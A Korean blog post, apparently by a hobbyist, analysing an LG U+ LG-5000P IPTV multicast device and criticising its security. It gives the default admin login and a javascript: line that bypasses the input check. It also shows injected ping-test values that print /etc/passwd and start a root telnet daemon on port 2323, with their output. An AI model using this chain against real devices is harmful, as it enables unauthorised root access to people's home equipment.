언제부턴가 집에 들어와 전기를 계속 먹고 있는 LG-5000P이 눈에 들어왔다. 왠지 믿음이 가지 않는 외관이다. 아래의 사진과는 달리 여기서 테스트한 제품은 LG 로고 대신 LGU+ 라는 회색 글자가 큼지막하게 인쇄되어 있다.
LG-5000P는 LG U+TV의 셋톱박스와 함께 사용하는 장비이다. 유무선공유기 NAPL-5000도 함께 사용하는 고객의 입장에서는, NAPL-5000에 멀티캐스트(multicast) 기능을 통합하여 간소화 할 수도 있었을텐데, LG U+는 왜 이렇게 복잡한 구조로 서비스를 하는지 모르겠다.
어쨌든, 집에서 특별히 할 일이 없다보니 이것저것 뜯어보는(?) 취미가 발동해서 이 친구를 분석해보기로 했다. 하드웨어는 건드리지 않고 포트 스캔을 해 보았다. 관리페이지 접근을 위한 TCP/80포트를 제외하고는 별 반응이 없었다.
구글링을 통해 관리페이지의 사용자이름/암호가 user/power이라는 것을 알게 되었다. 외관과 어울리는 관리페이지가 나타났다. 인터페이스와 기능도 상당히 부실하다. 어찌되었건.. 원하는(?) 것을 찾아보기로 했다.
눈에 들어온 부분은 '관리자 설정 - Ping 테스트' 라는 메뉴. 주소는 다음과 같다.
http://192.168.219.1/cgi-bin/webctrl.cgi?action=pingtest_page
시험삼아 127.0.0.1을 입력해보니 정상적으로 다음의 값이 출력되었다. 폼의 내용을 조작하면 무언가를 할 수 있을 것 같다.
PING 127.0.0.1 (127.0.0.1): 56 data bytes
84 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.8 ms
84 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.5 ms
84 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.6 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.6/0.8 ms
ping 뒤에 POST값으로 넘어온 문자열을 이용하는 것으로 보인다. 그래서 127.0.0.1|cat /etc/passwd를 입력해 보았더니 'Ping 주소가 잘못된 목적지 포멧입니다' 라는 에러를 띄운다. 이를 피하기 위해 자바스크립트를 무력화. 해당 페이지에서 주소줄에 다음을 입력하고 엔터를 해주면 포멧 체크를 무시할 수 있다.
javascript:function submitchk(f){} function submitchk_enter(f){}
다시 127.0.0.1|cat /etc/passwd를 입력하면 다음과 같은 내용이 출력된다.
root::0:0:root:/root:/bin/ash
ftp:*:95:95::/var/ftp:
nobody:x:506:507:::
이후 몇번의 작업을 거쳐서 다음의 명령어를 찾을 수 있었다.
127.0.0.1|/sbin/telnetd -p 2323
이후에는 해당 호스트의 TCP/2323포트를 이용한 텔넷 접속으로 루트의 권한을 가질 수 있다. 이 방법을 이용하기 위해서는 관리페이지의 접근 권한이 우선적이다. 그러나 당황스럽게도 정상적인 방법으로 power라는 비밀번호를 바꿀 수 없다. 암호 변경 버튼이 비활성화 되어있기 때문이다. LG U+는 회선 관리 뿐만 아니라, 보급하는 네트워크 장비에도 좀 더 신경을 써 줬으면 좋겠다.